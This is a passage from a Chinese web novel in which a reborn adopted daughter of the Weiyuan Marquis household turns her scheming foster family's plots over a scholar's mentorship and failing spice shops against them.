苏舒窈真诚道：“我是为二哥不值，明明二哥更加优秀，也更沉稳，大哥这段时间又是闹着娶妓子，又是到李大儒府上闹腾，李大儒家的门房说，大哥做的文章狗屁不通......” “但大家都觉得大哥好，就连明珠妹妹，也是向着大哥.....” 话说一半，苏舒窈捂着嘴：“二哥别介意，多喝了两杯果酒，刚刚说的都是胡话，头有点晕，我先走了。” 说完，便不等对方反应，转身离去。 这个世上，没有永远的敌人，却有着永远的利益。 侯府里的每个人，都有自己的算计，那她为什么不好好利用一下他们的算计？ 苏明添看着苏舒窈的背影，若有所思。 他和大哥的关系只不过是表面和善，实际上，他一直都有不满的情绪。 大哥是长子，早早封了世子，家里的所有资源都朝大哥倾斜。 就连母亲私下里，对大哥的补贴也多于他。 父亲那边就更不用说了，明珠和明芷两个妹妹，也比较亲近大哥。 不患多寡患不均。 他心中积怨已久。 威远侯府日落西山，他暗地里算了一下，以后大哥承爵，他被分出去之后，根本分不了多少东西。 母亲很早就表示，母亲的嫁妆，大部分都会留给大哥。 要是大哥文武双全、才高八斗，他也认了。 但大哥如此不堪...... 都是父母的孩子，只不过比他先出生两年，凭什么府里的好东西全是大哥的？ 凭什么大哥丢脸，他也要被连累？ 威远侯府原本就有立贤不立长的先例，他也可以争一争的。 想到这里，苏明添也不急着亲自去请医师了，吩咐身边小厮：“巷子口随便带个赤脚大仙回来便是。” 小厮诧异：“二少爷，世子爷都吐血了！侯爷不是说让请太医吗？” 苏明添冷笑一声：“太医？上哪请太医，能请到赤脚大仙都不错了！” 说完，便回自己院子睡了。 一直等到晚上，宾客散尽，威远侯府依然灯火通明。 厅堂内，侯府的主子们正襟危坐，跳跃的火焰仿若鬼魅，在地上拉出一个个扭曲的影子。 “大小姐，这边请。” 苏舒窈一进门，就看见全家都在，每一个人看她的眼神都充满了不善。 苏舒窈简单行了一礼，便目不斜视地走进厅堂，走到主位坐下。 这个位子，是万氏的。 万氏没坐，她便不客气了。 坐到主位之后，苏舒窈这才低下头，居高临下地睥睨着躺在床板上的苏明沛。 苏明沛是被抬进来的，他被气得路都走不了。 他指着苏舒窈大骂道：“苏舒窈，你这个贱人，你故意阴我！” 他现在回过味儿来了，苏舒窈今儿一出现便恭维他，抬举他，不是为了讨好他，而是为了让他丢脸。 说着，便要强撑起来打人。 秋霜一个箭步冲上前，拦在苏舒窈面前：“世子，你怎么能无缘无故打人！大小姐没有错！” 苏明沛骂道：“你一个奴婢，主子说话，插什么嘴？！拖出去掌嘴！” 苏舒窈把秋霜拉到身后，伸出手，在她脸上摸了一下，“好了，掌嘴了。” 说完，看向侯府众人：“我一进门，什么都不说便喊打喊杀，世子，你要对我动怒，总要有个说法吧？” 苏明沛冷哼一声，像一只气恼的大鹅，不停地晃着脖子，“今日侯府的脸，都被你丢尽了！！苏舒窈，都是你害的！” 苏舒窈端正坐好，一派云淡风轻：“世子，那你说说，我做了什么，让侯府丢脸了？” 苏明沛气了一整天，将早已准备好的罪责抛出：“你一来就说，你救人，得了大儒承诺。又说我不需要你的帮助，我要靠自己拜师成功。你先把我捧起来，然后再让我重重摔一跤，这种捧杀的伎俩，竟然用到我身上来了！” “苏舒窈，我以前只是觉得你自私，没想到你竟然这般恶毒！” 苏舒窈淡淡地摇了摇头：“世子，那你说，我哪一句话说错了？” 苏明沛死死咬着牙关。 苏舒窈没有错，难道错的是他？ 他怎么可能有错？！ 苏舒窈站起身，看向万氏和威远侯：“夫人、侯爷，我确实救了李鸢姐姐，李大儒问我要什么，我说，家中有兄长即将科举，请求李大儒帮忙指点兄长文章。” “可是我还没来得及告诉世子，世子不知道从哪里打听到这件事，主动找上门来，把我臭骂了一顿。” 她淡然地看向躺着的苏明沛，澄澈见底的眸光在眼中流淌： “苏明沛，是不是你说，就算死也不要我帮忙？” 苏明沛愣了愣，“是，是我说的......但......” 苏舒窈继续道：“是不是你说要靠自己的能力拜师？” 苏明沛：“......是。” “你都以死相逼、言辞拒绝了，我还要把你带去李大儒府上，不是要逼你死吗？” “世子，你是要我逼死你吗？” 苏舒窈的声音很轻，语调平缓，却有一种难以撼动的厚重感，直击心灵。 说的真对啊！ 苏明沛都以死相逼拒绝了，谁他妈的那么贱还上赶着求着要帮忙？ 是苏明沛先拒绝苏舒窈好心帮忙的，现在出了丑，又怪苏舒窈把拜师的名额让给了他人。 苏明沛怒道：“苏舒窈，你以前不是这样的，以前你只要觉得对我们好，你完全不顾我们的想法，都会逼着我们去做的！” 上一世也是这样的，他说了不要她帮忙，她还是硬把他带去了李大儒府上的啊？！ 怎么这一世不一样了？ “世子不是很讨厌那样的我吗？”苏舒窈笑盈盈看着他：“现在我改了，不好吗？” “怎么世子还是不高兴？” “也不知道要怎么样，世子才会满意。” 上一世，苏明沛就是嫌苏舒窈管太多，管他的学习、管他成婚、管他当官后乱收别人的银子...... 苏明沛上一世的口头禅便是：“苏舒窈，你能不能别管那么多？！” 现在好了，苏舒窈真的不管了...... 苏明沛张开嘴，却不知道该怎么辩驳。 对啊，是他嫌弃苏舒窈管天管地管空气，他堂堂侯府世子，为什么要被她一个养妹管着。 现在她改了，不管了，他应该满意才是。 他非但不满意，他还很生气。 忽然有种即将失去什么重要东西的失落感...... 第28章 质问 苏明沛无法接受拜师失败的事实，脸上火辣辣，他不知道该怎么给万氏和侯爷交代，眼皮一翻，假装晕了过去。 苏明添心中暗笑。 大哥真是一个扶不起的阿斗！ “快来人，去请医师来！” 苏明沛晕倒之后，厅堂内乱作一团。 万氏捏着佛珠，慢慢悠悠站起来，眉间拧出一副痛心疾首的幅度： “苏舒窈，你明明看到明沛这般难受，为什么还要刺激他！” 苏明珠也道：“姐姐的话确实过分了一点点。” 苏舒窈不卑不亢回道：“夫人，我只是简单描述了一下事情经过，如果这也算得上刺激，那世子怕是要天天吐血了。” 万氏被噎了一下，骂道：“拜师这么大的事，你为什么不告诉长辈？！任由明沛胡闹！” 苏舒窈淡淡地回道：“我本来是打算告诉侯爷和夫人的，是世子以死相逼，不让我说的。” 反正苏明沛“晕”了，她说什么就是什么。 “世子厌我至此，我怕说了，侯爷和夫人逼着他接受我的帮忙，世子不堪受辱，真的寻死怎么办？” 说到底，苏舒窈也只是一个十六岁的小姑娘，被世子威胁，还是会怕。 万氏盯着她的脸，试图从她脸上分辨出一丝异样，可是她神色淡淡的，眼神坚定，不像在说谎。 万氏叹了口气，“也不知道明沛是怎么想的？” 知子莫如母，万氏当然知道苏明沛的想法，他又想要苏舒窈的帮忙，又不想感谢她罢了。 没想到的是，苏舒窈转手把名额让给了苏明厉。 “那你也不该一声不吭就将拜师名额让出去，明沛不要，明添可以去啊。” 不管怎么样，总能找到苏舒窈的错处。 苏明添被点到名，心中冷笑。 果然这样，大哥不要的，才轮到他。 他是什么很贱的儿子吗。 “母亲，我读书不行，是打算从军的，我去李大儒那里，只怕李大儒是对牛弹琴。” “舒窈知道我要从军，没留给我也是正常。” 听到苏明添给苏舒窈解围，苏明珠垂着眼帘，眸底闪过一抹暗色。 万氏想责难，实在是找不到理由，悻悻地闭上嘴。 “我也不知道世子是怎么想的，明明拒绝了我的帮忙，还大张旗鼓地办庆功宴。” 苏舒窈转身看向苏明珠，柔声道：“也不知道这庆功宴是谁的主意？世子办事一向稳妥，怎么会没有确定便大张旗鼓往外宣传，是不是被什么人蛊惑了？” 威远侯怒道：“明沛不是那起子性格浮躁之人，我从小便教他，事以密成、语以泄败！定然是有人从中撺掇！要是被本侯爷知道是谁从中作怪，本侯爷定不会轻饶！” 万氏也道：“这事等明沛醒来，定要好生询问！” 苏明珠心里咯噔一声。 今儿这事，必定要有人背锅。 苏明沛是侯府世子，都已经吐血昏迷了，万氏和侯爷是不忍苛责的。 要是被人知道是她的主意，她难逃一罚。 幸亏苏明沛晕了，没人知道这是她从中撺掇。 明儿一早，先把苏明沛稳住，定要将罪责推到苏舒窈身上。 万氏又问：“医师还没请来？” “快了吧。”苏明添跟在万氏身后，“一不小心”踩到了苏明沛的手指。 “啊——” 苏明沛嚎叫一声，醒了过来。 苏明添高兴道：“母亲，大哥醒了！” 苏明沛咬着牙：“二弟，把脚挪开。” “啊？”苏明添低头一看，这才看到自己不慎踩到了大哥的手指：“大哥，对不住了。” 苏舒窈道：“侯爷，既然世子醒了，可以问了。” 威远侯背着手走过去，脸上威严：“明沛，说，是谁撺掇你办这个庆功宴的？！” 苏明沛迟疑片刻。 他“昏迷”的时候听到了他们的对话。 办庆功宴的是苏明珠的主意。 今儿这件事，对侯府声誉伤害很大，只要说出苏明珠，侯爷看在他世子的身份上，定不会对他太多苛责。 可是，苏明珠对他那么好，直接指认，可能会伤了明珠的心。 但，如果不说，他就成了损害侯府名声的罪魁祸首。 都怪苏舒窈，她才这起祸事的根源！ 只能委屈一下明珠了。 事后，他一定会补偿明珠的。 苏明沛撑起身子，先是朝着苏明珠点了点头，才道：“没有谁撺掇我，是我的主意。” 他的前戏太多，让人一下就将注意力转到了苏明珠身上。 万氏转头看向苏明珠：“明珠，是你？是你撺掇明沛？你怎么干出这种眼皮子浅的糊涂事！” 苏明珠：“......” “母亲，都是我的主意，你别怪明珠。” 苏明沛的解释很心虚，这话一说，更加确认了是苏明珠的主意。 威远侯爷看向苏明珠的眼神也多了几分不悦。 太好了，今儿的祸事，终于找到背锅人了。 苏舒窈觉得好笑。 这一家子可真有趣，每个人都有自己的小九九。 终于找到背锅人，今儿这事算是尘埃落定了。 夜已深，各自回屋。 当晚，威远侯去了妾室那里。 这是他刚纳的一房美妾，美妾姓乔，年芳十八，正是娇嫩。 两人敦伦一番，抱在一起说话。乔姨娘的声音娇滴滴的：“今儿这事，究竟怎么回事？” 威远侯将事情说了：“都怪舒窈，好好一件事，被她办成这样！” “今日太晚了，等明儿再想办法罚她！” 他和万氏商量好了，一定要想法让苏舒窈把拜师名额让出来。 苏明厉是什么玩意儿，也配拜师大儒？！ 乔姨娘嘤咛一笑：“侯爷，这事儿怎么也怪不到大小姐身上吧。” “人家大小姐不是说了，是世子以死相逼不准她帮忙的。大小姐也很委屈啊，好不容易救了人得到拜师名额，世子非但不领情，还威胁大小姐，现在大小姐把名额让出去了，又怪上大小姐了。” “这事儿说到玉皇大帝那里，都是世子和明珠小姐没道理！” 威远侯笑道：“你懂什么？” 乔姨娘直往人怀里钻：“我怎么不懂了？侯爷，咱威远侯府可是一等勋爵人家，办事必须要有章程、规矩，哪能这般无理取闹，跟巷子口大娘骂街似的。这事儿要是传出去，将咱侯府的脸面置于何地？” 威远侯最是讲究脸面，温香软玉入耳，也是有些动容：“那你说该怎么办？” 乔姨娘摸着手腕上的大金镯子：“就该好好罚一下世子和二小姐，让他们长长记性。这侯府的规矩，也该早早立起来。” 第29章 威胁 “夫人，世子又被罚跪了！”春景园内，吴妈妈正在向万氏汇报：“明珠小姐那边，也吃了挂落。” “侯爷罚了明珠小姐三个月月例，本来要禁足的，但明珠小姐掌着家，被罚抄了五百遍家规。” “家规？”万氏跪在蒲团上，捻着手中佛珠：“咱侯府哪来的家规？” 不是说好了要罚苏舒窈的吗，怎么一晚上就变卦了？ “昨儿侯爷歇在谁的院子里？” “新来的乔姨娘那儿。”吴妈妈蹲到万氏身旁，小声道：“夫人，听说乔姨娘不知道从哪里得了生儿子的秘方，每天都在用着，夫人，要不要敲打她一番？” 万氏笑了笑，“随她折腾去吧。” “夫人心善。”吴妈妈笑道：“依我说，她这般闹腾，生得出来才有鬼！像夫人这般心善之人，方能多子多福。” 这么多年过去，夫人一个接一个生，妾室们连个蛋都没有下下来。 万氏把这一切归功于信佛带来的福报。 心慈之人，才能多子多福。 像乔氏那样的狐媚子小妾，一辈子都别想有子嗣。 “对了，给侯爷熬的汤记得送过去。”万氏吩咐道。 “夫人放心，侯爷那边的汤水，奴婢每日按时送到，看见侯爷喝了才离开的。” 第二天一早，万氏就遣人来把苏舒窈叫了过去。 “今儿十五，陪我去大慈寺上炷香吧。” 苏舒窈点头应下。 她很清楚，上香只是借口，万氏的目的，还是要她帮助苏明沛拜师李大儒。 天热，一共安排了两辆马车，苏舒窈和万氏一人一辆。 “不是去大慈寺吗，怎么停在这里？” 苏舒窈撩开帘子，马车停在慈幼局门口。 吴妈妈解释道：“大小姐，夫人每个月都要往慈幼局送粮食，今儿，是专程过来送粮食的。” “夫人慈悲。”苏舒窈双手合十。 万氏每个月送粮食是假，敲打她是真。 果然，下一秒吴妈妈开口道：“大小姐，您小时候就是从这里被带回侯府的。” “当初有两个女婴让夫人选，夫人原本看中的是另一个女婴，你一看夫人就笑，夫人被你吸引了注意，没成想你抓住夫人的衣裳不放手，夫人没办法，只得选了你。” 拙劣的道德绑架。 苏舒窈笑了笑：“想不到我小时候便这般聪慧，就算没被夫人选中，也定会前途锦绣。” 吴妈妈讪笑了一声，“那是。” 没一会儿，马车又停了下来，这回是停在春栏院。 吴妈妈指着一个倚靠在门边，穿红戴绿，半个酥胸露在外面的青楼女子道：“看吧，这就是另一个女婴。” 苏舒窈抬眼看过去，青楼女子脸上全是脂粉，正甩着帕子揽客。 “听说啊，这个女子13岁便出来接客，现在儿子都两岁了。” 吴妈妈眼中满是讥讽。 前途锦绣？ 一双玉臂万人枕的锦绣？ 要不是被夫人带回侯府，青楼才是你的最终归宿。 吴妈妈不知道从哪里找来一个小男孩，说是那妓子生的：“这个孩子，长大只能当龟奴！” 上一世，万氏也带她来过青楼门口，指的并不是这个女子。 吴妈妈找的也是个小女孩，说是长大之后也只能当妓子。 苏舒窈看到之后，心惊胆战了好一段时间，做了不少噩梦。 每每从噩梦中醒来，都会暗自庆幸被万氏选中的那个人是她。 她从小便被教导，要对侯府感恩戴德，要为家人万死不辞。 明知万氏所谓的亲情是裹了蜜糖的砒霜，她依然吞得甘之如饴。 现在看来，不过是万氏为了拿捏她的把戏。 另一辆马车里，万氏安静地坐着。 “夫人，会不会吓到大小姐啊？” 万氏摩挲着胸前佛牌：“不是折辱她，也不是羞辱她，更不是吓唬她，而是在教她。” “教她懂得感恩。” “现在她所拥有的，全是我给的，我随时有权力收回，就看她怎么想了。” 万氏最近心里隐隐有些不安，有种苏舒窈随时会失去掌控的感觉。 她不喜欢这种感觉。 “夫人，大小姐来了。” 苏舒窈走下马车，双手合十，看向那个妓子：“夫人慈悲，当初为什么不把她也带上？” “多一个女婴，侯府也不是养不起。” “难道是夫人不够慈悲？” 她的眼神澄澈清明，带了一丝疑惑，仿若一面明镜，照亮了万氏心底的恶。 万氏捏着佛牌的手一顿，深吸了好大一口气，才压下胸中恼意。 真的是要翻天了。 ...... “姐姐怎么这这般无礼？！不知感恩，好生过分！” 万氏昨儿还嫌弃苏明珠办的庆功宴损了侯府名声，今日在苏舒窈这边碰壁，马上又和苏明珠和好如初了。 万氏握着苏明珠的手，柔声道：“不是亲生的，到底隔了一层。” “哪有亲大哥不帮，偏帮外人的道理？！” “这件事说来说去，还是姐姐没理！” “母亲，我亲自去说，让姐姐去李大儒府上，把拜师的名额让给大哥！” 万氏叹了口气：“明珠，还好有你。” “对了，香料铺子怎么样了？” 苏明珠笑道：“母亲，香料铺子一切顺利。就是吧，咱每个铺子旁边，都开了一家新的香料铺子，像是专门和我们对着干似的，推出的香品和我们家的也差不多。” 万氏眼皮微翻：“有没有影响？” 苏明珠笑道：“我们家是老字号，回头客很多，生意完全没有受影响。隔壁那几间都没生意，估摸着没几天就要关门。这是账本，母亲可以看看。” 短短七天，十个铺子的销售额便高达一万两。 “待会儿女儿去铺子一趟，等掌柜的交完账便把利息亲自送到母亲这儿。” 万氏双手合十：“阿弥陀佛，那就好。” 苏明珠没有第一时间去铺子，而是去了苏舒窈院子里。 苏舒窈正在伺弄兰草，听说她来了，头也没抬。 苏明珠笑道：“姐姐还在做着一夜暴富的美梦呢？” 苏舒窈笑了笑：“妹妹不该这么闲啊？按照往年这个时候，香料铺子正是忙的时候。” 身旁一个妈妈笑道：“那就要看谁来经营了？二小姐好本事，清清闲闲便把银钱挣了！” 苏明珠得意一笑。 正在这时，翠红急冲冲跑了过来：“二小姐，不好了！” “干什么这般咋咋呼呼？” 翠红凑到苏明珠耳边，小声道：“二小姐不好了，香料铺子闹起来了！” 翠红的声音急，没压住，苏舒窈全听见了。 “看，这不就忙起来了。” 第30章 爆雷 苏明珠赶到香料铺子的时候，铺子已被围得水泄不通。 门口堵满了高门大户负责采买的管事。 “让一让，二小姐来了！” 苏明珠胸口提着一口气，抬手抹去额上冷汗，佯装镇定道：“怎么回事？闹什么？” 掌柜哭丧着一张脸：“二小姐，他们要退货。” “退货？”苏明珠眉心一拧：“香料这种贵重物品，一经售出，概不退换。” 辅国公府的管事将货“啪”地一声拍到柜面上：“要是不退，今儿我们便把这铺子给砸了！” 其他府上的管事附和道：“对，把铺子砸了！” “这么多年的老客户了，竟然给我们假货！” “把你们大小姐叫出来！！” 掌柜安抚道：“大家稍安忽躁，铺子现在是二小姐在管理，二小姐来了，大家有什么问题都可以给二小姐说。” 各家管事拿出香饼：“你看看，这是什么货，一碰就散不说，燃到一半还会熄，香气也是断断续续的，我们家主子发好大的火！” 苏明珠接过香饼。 她也看不出好坏，还是掌柜当场点燃一盘香，给她解释：“好的香料油脂充足，这盘香香气不纯，味道单薄，甚至还有刺鼻异味，常年用香的人，一闻便能分辨其中区别。” 苏明珠疑惑道：“我们家的香是老字号，这么多年没出过错，怎么会这样？” 她看了一眼闹事的管事：“现在忽然来了这么多人闹事，莫非是欺诈？” 能用得起贵重香料的人家，几乎都是高门大户，这些人家的管事，比七品官还威风。 被质疑“欺诈”，管事们全都炸了： “欺诈？你说谁欺诈？！” “敢污蔑我们辅国公府，信不信我马上去报官！” “我们尚书府也不是软柿子！” 掌柜拉着苏明珠小声道：“二小姐，先安抚一下，要是欺诈，也不可能这么多人一起欺诈。” “这批货全都有问题，闹事的不止这一家铺子，其他几家铺子，也被人围了。” “先退货安抚人心，今后还有生意往来。” 苏明珠心中忽然浮现出一抹不详的预感，垂在身侧的手隐隐发抖。 “行，听你的，先、先给他们退货吧。” 看到一张张给出去的银票，苏明珠心如刀绞。 刚赚的银子还没揣热火，便全部退了出去。 她安慰自己：没事儿，还会赚回来的。 货是退了，管事们也没有马上离开，依然逗留在门口打听香品什么时候能弄好。 府上的主子用惯了香，要是买不回去，一样要吃挂落。 整个京城，就只有这里的香最特别。 退货是一回事，要不要继续采买，又是一回事。 苏明珠看到这样的局面，稍微安心下来。 还好，客户还在。 忽然，隔壁香料铺子的佟掌柜站了出来：“李管事，王管事，要不要看看我们铺子的香，品质一流，不买看看也谢谢。” “佟掌柜，你怎么在这儿？你换东家了？” 佟掌柜和这些管事们打了多年交道，自是相熟，他笑着把各府管事迎进铺子里，香茶果子伺候着。 “先说好，任你吹得天花乱坠，主子不满意，我们还是会退货的！” “放心，包您满意，这是我们铺子的香，你闻闻气味就知道是什么品质！” 苏明珠眼睁睁看着管事们进入隔壁香料铺子，双眼猩红。 翠红冲上去骂道：“佟掌柜，你不要脸，被我们小姐辞退了，又来抢我们小姐的客人！” 铺子门口的小厮端起水往外泼，泼了翠红一脸的水：“什么抢不抢的，没睡醒吧，你们铺子卖假货还不许我们招揽客人？！” 翠红要冲上去打人，苏明珠把她叫了回来。 “算了，先忙要事。” 只要货好，不怕没销量。 她对祖上传下来的方子有信心。 苏明珠把两个调香师叫来，厉声道：“怎么回事？方子给你们了，就调成这样？” 调香师也很无辜：“二小姐，不是方子的问题。” 苏明珠：“那是什么问题！？” 调香师小声道：“是您进的货有问题。” “货有问题？三万两的货有问题？！” “货不是你们俩亲自去验的吗？怎么会有问题？！”苏明珠气得大声咆哮。 调香师吓得连忙摇头：“二小姐，货怎么是我们验的，货是您亲自验的啊！” 三人一对质，才搞清楚，苏明珠以为调香师看了货，调香师以为苏明珠亲自验了货，两方都被请去喝了茶，结果两方都没有看到货。 搞清楚之后，苏明珠眼前一黑，差点当场厥了过去。 “二小姐，您快醒醒啊！二小姐！！” 翠红抱着苏明珠一阵捣鼓，苏明珠缓缓睁开眼，强撑着打起精神：“快带我去仓库看货！” 三万两的货啊，要是出了岔子，万氏定会手撕了她！ 苏明珠对香料一窍不通，花重金请来专业人士鉴定，“二小姐，这些香料被水浸泡过，核心成分大量流失，价值大跌。尤其是这沉香，泡了水，只能用于雕刻香具，乳香、没药泡水之后，只能制成香线。” 苏明珠眼前一黑，差点再次厥过去：“泡过水的？怎么会是泡过水的？！龙涎香呢？龙涎香原本就是水中常年浸泡的，龙涎香应该没问题吧？” “二小姐，龙涎香和麝香泡水后正常阴干，还是可以正常使用。” 苏明珠松了一口气。 还好，最贵的龙涎香没有问题，损失不会太大。 还没来得及喘口气，又听见对方道：“但，这龙涎香、海狸香不太正宗。其中添加了蜂蜡、松香等劣质香料，二小姐应该是被人骗了。” 最后估算了一下，三万两银子的货，最多价值五千两。 苏明珠一口气没提上来，这回是真的厥了过去。 “报官，我要去报官！” “谢老板卖假货！” 苏明珠强撑着去了官府，报案之后，才发现她对谢老板的情况一无所知。 只知道姓谢，签的文书用的也是假名字。 苏明珠脑子嗡嗡响。 该怎么向万氏交代，其中两万两银子，是万氏的嫁妆。 万氏还在等着她拿利息钱回去。 完了，全都完了...... 第31章 煞费苦心 苏明珠只觉得天旋地转，眼冒金星。 好不容易气顺了，还是心慌意乱，后背冷汗涔涔。 这可怎么向万氏交代？！ 她是了解万氏的，万氏表面慈善清高，实际上把银钱看得比命都重。 要是让万氏亏了银子，她不死也得脱层皮。 对了！ 还有粮食！ 谢老板还赊了一仓库粮食给她，她还没付钱的！只要谢老板上门要钱，她就能抓他去官府。 要是谢老板不出现，她卖了那些粮食，也能弥补损失。 现在粮食一石200文，下个月灾情严重，最高能涨到一千文。 想到这里，苏明珠马不停蹄去了仓库看粮食。 有了上一次的经验教训，她仔细地检查了仓库的粮食，全是今年的新粮，没有发霉腐烂，好得很。 一颗心终于安定下来。 等下个月把这批粮食出手，香料上的损失就能全部找补回来。 可是，答应万氏的三千两利息却没有着落。 苏明珠想了想：“把侯府的地契和房契拿来。” 现在侯府她掌家，去当两个铺子什么的，不会有人知晓。 先稳住万氏要紧。 “今天发生的事，必须保密，不能外传，要是被我知道谁在背后嚼舌根，一律发卖出去！” “还有，派人去查一查隔壁香料铺子的主家是谁？” 她有种直觉，隔壁香料铺子背后的主家说不定是苏舒窈。 如果真是苏舒窈，到时候，她一样能抢过来。 这可是侯府祖上的制香方子，苏舒窈一文钱都别想带走！ 香料铺子那边刚一出事，苏舒窈就收到了消息。 “大小姐，二小姐在卖铺子。”秋霜笑道。 “她卖多少，我就买多少。” 那些香料铺子是她一间一间置办起来的，全是她的心血。 现在，她要一间一间收回来。 香料铺子集中在东西两条街上，全是好地段，虽然价格比南街的铺子贵了些，但今后还会涨价。 再过几年，朝廷会下旨，鼓励外地人在京城落户，京城会涌入不少江南富商，到时候铺子、宅子的价格会翻几番，一般人根本买不起。 苏明珠卖铺子，肯定是为了给万氏利钱。 牢不可破的亲情，在金钱面前，也是一文不值。 秋霜又道：“大小姐，听说二小姐下令，把香料铺子的事瞒了下来，不让夫人知道，我们要不要让人去夫人那里递点口风？” 苏舒窈淡然一笑：“不用。” 这么快戳破，就不好玩了。 都还没赔光呢。 她要看着苏明珠拆了东墙补西墙，一天到晚提心吊胆的样子。 最后全部赔完再戳破，那才解气。 到时候，一脚就能把她踩死。 下个月会出现百年一遇的高温，她这段时间不仅买了不少铺子宅子，也囤了不少冰和药材，唯独没有囤粮食。 囤粮食，一分钱都赚不了。 最近的日子，苏舒窈平时就在家里种种兰花，修身养性。 随便看看侯府的主子们，怎么折腾。 按照书上的方法，施肥、浇水、松土，看着兰草一日比一日舒展，心境也渐渐开阔起来。 苏明珠一共卖了三个铺子，凑了三千两。 春景园门口，苏明珠深吸一口气，揉了揉脸，等脸上愁苦消散，有了笑才敢进门。 “母亲，这是给您的利钱。”苏明珠递上银票的双手微微发抖。 万氏的注意力全部放在银票上，完全没有注意苏明珠的心虚。 “好孩子，辛苦你了。” 万氏自诩清高，轻易不碰银钱，让霜降将银票收了起来。 “剩下的本金？” 苏明珠低着头，掩盖住眼底慌张：“母亲，剩下的本金，下个月就还你，若是超时，按息计算就行。” 万氏神色一喜，伸手将人拉到身边坐好，亲昵非常。 “对了，拜师的事苏舒窈那边怎么说？” 苏明珠敲了下脑袋：“哎哟，母亲，刚才忙着去铺子上取银票，忘记去姐姐那里了。” “女儿马上就去。” 临走到门口，苏明珠停下脚步：“对了母亲，还有一件事要告诉你。” 她踌躇片刻，小声开口： “大哥的婚期，可能要提前了。” “为什么？” “梨棠姑娘有身孕了。” 庆功宴那日，苏明沛的小心思，她看出来了——表面维护她，实际把她推出来挡枪。 她来告密，也算不得背刺。 这事早晚都要告诉万氏的。 最主要的是，她担心香料铺子的事被发现，只有把苏明沛推出去挡枪，制造出另一件大事，大家都去关注苏明沛，便没人来关注她的香料铺子了。 她和苏明沛，算是扯平了。 万氏一口气没喘上来，差点捏断了指甲：“这孽子干的好事！” “来人，去把这事告诉侯爷！” 看着万氏脸上的愤怒，苏明珠暗自庆幸，这波稳了。 梨棠是名扬京城的花魁，万氏的意思是，让梨棠先赎身，等个一年半载，等梨棠的名字被淡忘，再给她安排一个身份嫁入侯府。 如果等个半年，明沛的新鲜劲过了，不娶了，那就更好。 现在梨棠忽然有孕，打了万氏一个措手不及。 威远侯听说这事，提着棍棒就去了苏明沛院子里：“老子打不死你个不孝子！” 娶青楼女子已经让侯府蒙羞了，更别说还怀着孕，这事儿要是传出去，他们威远侯府的脸面何在？！ 苏明沛挨打，苏舒窈定然是要去瞧一瞧热闹的。 庭院里，苏明沛被下人按在条凳上，威远侯拿着棍子打人。 高高举起、轻轻放下。 威远侯对自己的嫡长子，还是不忍下死手。 挨打的时候，苏明沛看了苏明珠一眼。 这个消息，定然是苏明珠告诉父母的。虽然迟早都要告诉，为什么偏偏挑这个时候。 苏明沛的眼中，出现一丝不悦。 “爹爹，手下留情啊，既然都答应了大哥娶梨棠姑娘，不然就早点把喜事办了吧，女儿保证，一定会把婚事办得风风光光！”苏明珠不顾危险，颤颤巍巍地拦在威远侯面前： “要是打坏了，可是会耽误大哥读书的！” 威远侯怒道：“读什么书？！拜师都没有成功，他能读什么书？” 苏明珠：“让姐姐把大哥带去大儒那里就是，拜师名额本就是姐姐给大哥准备的，大哥只是一时逞强，现在拨乱反正，让姐姐把名额要回来，不就行了？” 这时候，所有人齐齐看向苏舒窈，包括趴在条凳上的苏明沛。 苏舒窈叹了口气，绕这么大一个圈子，就为了这件事。 苏明珠真是煞费苦心。 第32章 打脸 “舒窈，你要不要帮你大哥？”威远侯神情肃穆。 苏明珠摇摇晃晃走到苏舒窈面前，忽然跪了下来：“姐姐，你就帮帮大哥吧，你要是不喜欢我，你打我，骂我都行，我只求你帮帮大哥......” “大哥他天资卓绝，只要拜得名师，一定会金榜题名、前途无量的......” “姐姐，我求求你了......” 她红着眼眶，泪珠儿吧嗒吧嗒往下滴落，一片情真意切。 “只要大哥拜得名师，科举入仕，娶梨棠姑娘这件事，也会被传颂成少年风流佳话，姐姐，我给你磕头，你就答应吧......” 苏明沛看着一心为他着想的苏明珠，心头那点不满早已烟消云散了。 他刚才错怪明珠了。 明珠才是真正为他着想的妹妹。 万氏开口道：“舒窈，整个侯府的荣辱，都在你身上了。” 苏舒窈早就料到，全家一定会逼她去李大儒府上说项。 她静静地看着苏明珠跪在面前，波澜不惊。 “我答应。”她的声音不高不低，却足够让人听清楚。 苏明珠没想到她答应得这么爽快，有些愣神：“答......应？姐姐，你真的答应了？” 苏舒窈缓缓抬眼看过去：“怎么，我答应了，妹妹不开心？” 苏明珠赶紧摇头：“没有，我开心，开心得很。” “那择日不如撞日，今儿便带着大哥去李大儒府上拜会吧。” 万氏眉间愁绪舒展开来，看向苏舒窈的目光里，透着一抹慈爱。 想是那天的敲打有成效了。 苏舒窈再怎么厉害，也是个十六岁的小姑娘。 万氏当过小姑娘，她知道，这个年龄，正是极度渴望亲情，极度需要获得亲人认可的年龄。 心性刚开始发展，却比成年人差得远。 非常好控制。 “明沛，还不快过来谢谢你舒窈妹妹。” 苏明沛从条凳上站起来，不情不愿走到苏舒窈面前，双手抱拳：“多谢......” 苏舒窈打断道：“世子，先别慌着道谢，事儿都还没办成，等事情办成再谢不迟。” 苏明沛眉峰一拧，大声吼道：“苏舒窈，你不想帮忙就明说！不必如此推脱！” “我不稀罕你的帮忙......”前面那句话说得震天响，最后这句却说得很小声，不仔细听，还以为是蚊子在哼哼。 苏明沛害怕把话说绝了，到时候苏舒窈又甩手不肯帮忙了。 但他又想表现得有骨气。 苏舒窈也没戳穿他，只是低头浅浅一笑。 苏明珠见状，赶紧上前一步：“姐姐，要不这样，你把李大儒请出来，当着大家的面把拜师名额要回来。” 就怕苏舒窈表面答应，然后什么都不做，回来说大儒拒绝收徒。 还是要当面盯着她才行。 苏舒窈鸡贼得很。 苏明沛朝苏明珠投去一个感激的眼神。 苏明珠暗喜：看吧，大哥感谢的人，只有她。 苏舒窈迟疑道：“当着大家的面，不太好吧。” 李大儒那么委婉，当着面，一些难听的话肯定说不出来。 苏明珠：“怎么不好了？当着大家的面询问，李大儒要是拒绝，也怪不到姐姐身上了。” 万氏：“要不这样，把李大儒请到酒楼包间里，我们在隔壁包间，这样，既能听到说话，又不至于把气氛搞得很尴尬。” 他们守在隔壁，苏舒窈想胡说八道也难。 “可以。”苏舒窈勉为其难答应了。 万氏只考虑监视苏舒窈不让她乱说话，却忘了，既然他们可以利用地理位置听到苏舒窈和大儒的谈话，别人同样可以听到。 万氏这个主意可真好，到时候还能把苏明沛的死对头请来，让更多的人见证他的被打脸时刻。 为了避嫌，包间是苏明珠去订的。苏明珠订好之后，苏舒窈提前让人将包间换了一下。 